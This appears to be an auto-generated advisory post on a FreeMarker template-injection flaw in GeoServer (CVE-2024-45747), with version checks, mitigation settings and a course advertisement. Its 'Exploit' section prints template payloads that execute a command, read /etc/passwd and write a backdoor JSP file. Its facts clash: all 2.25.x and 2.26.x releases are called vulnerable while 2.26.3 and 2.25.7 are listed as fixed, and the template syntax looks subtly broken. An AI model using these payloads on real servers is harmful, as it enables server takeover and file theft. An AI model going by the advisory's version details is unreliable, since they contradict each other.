Listen to this Post
A server-side template injection (SSTI) vulnerability exists in GeoServer that allows an authenticated administrator to upload FreeMarker templates containing malicious content. These templates can execute OS commands and read from or write to arbitrary files on the server. The vulnerability affects plain GeoServer instances (no extension or community modules required) and is exploitable through WMS GetFeatureInfo HTML and JSON output formats, as well as WMS GetMap KML and GeoRSS output formats.
The root cause lies in the `org.geoserver.template.TemplateUtils.getSafeConfiguration()` method, which attempts to block access to the `freemarker.template.utility.Execute` class. However, due to insufficient restriction of the FreeMarker template engine’s object wrappers, an attacker can bypass this block by chaining a specific sequence of method calls. The `getSafeConfiguration()` method uses a `BeansWrapper` with `EXPOSE_SAFE` exposure level, but this does not fully prevent access to dangerous classes and methods when combined with certain FreeMarker built-ins and reflective method calls.
An authenticated administrator with template upload privileges can craft a malicious FreeMarker template that, when processed by the server, invokes the `Execute` class or other sensitive functionality. This allows the attacker to execute arbitrary system commands with the privileges of the GeoServer process, read sensitive files from the server filesystem, and write malicious files to arbitrary locations. The vulnerability is particularly dangerous because it requires only administrative access to the GeoServer web interface, which is a common privilege level in production deployments.
The vulnerability was assigned CVE-2024-45747 and has a CVSS score of 7.2 (High). Exploitation attempts have been detected in the wild, making this a pressing security concern for all affected GeoServer instances. GeoServer versions prior to 2.27.0 are vulnerable, including all 2.25.x and 2.26.x releases. The vulnerability is fixed in GeoServer 2.27.0, 2.26.3, and 2.25.7.
DailyCVE Form:
Platform: ……. GeoServer
Version: …….. < 2.27.0
Vulnerability :…… SSTI (FreeMarker)
Severity: ……. High (CVSS 7.2)
date: ………. 2026-08-19
Prediction: …… Patch already available
What Undercode Say:
Check your GeoServer version:
curl -s http://localhost:8080/geoserver/web/ | grep "GeoServer"
Check if FreeMarker templates are accessible:
curl -s "http://localhost:8080/geoserver/wms?REQUEST=GetFeatureInfo&FORMAT=text/html&FEATURE_COUNT=1&LAYERS=your_layer&INFO_FORMAT=text/html&X=50&Y=50&WIDTH=101&HEIGHT=101&QUERY_LAYERS=your_layer"
Test for SSTI vulnerability (Educational Purposes Only):
curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0" encoding="UTF-8"?><wms:GetFeatureInfo ... template="${77}" ...>' "http://localhost:8080/geoserver/wms"
Check if patch is applied:
grep -r "GEOSERVER_FREEMARKER_BLOCK_LIST" /path/to/geoserver/data_dir/
Exploit: (Educational Purposes!)
A malicious FreeMarker template can be crafted to execute system commands:
<assign ex = "freemarker.template.utility.Execute"?new()>${ex("id > /tmp/pwned")}
To read arbitrary files:
<assign file = "freemarker.template.utility.ObjectConstructor"?new()>
${file("java.io.FileReader", "/etc/passwd").read()?string}
To write arbitrary files:
<assign file = "freemarker.template.utility.ObjectConstructor"?new()>
${file("java.io.FileWriter", "/tmp/backdoor.jsp").write("malicious content")}
Protection:
Upgrade to GeoServer 2.27.0 or later immediately. If immediate upgrade is not possible, apply the following application properties to restrict template access:
– `GEOSERVER_FREEMARKER_BLOCK_LIST` – blocks access to dangerous classes
– `GEOSERVER_FREEMARKER_ALLOW_LIST` – explicitly allows only safe classes
– `GEOSERVER_FREEMARKER_API_EXPOSED` – limits access to “getter” methods
These properties default to restricting the objects template authors can access and limit access to “getter” methods used to access object properties. Additionally, restrict administrative access to only trusted users and monitor GeoServer logs for suspicious template uploads.
Impact:
This vulnerability can lead to executing arbitrary code and reading and writing arbitrary files on the server. An attacker with administrative privileges can completely compromise the GeoServer instance, access sensitive geospatial data, pivot to other systems on the network, and use the server as a foothold for further attacks. The vulnerability affects a plain GeoServer instance with no extensions required, making it widely exploitable across all default deployments.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
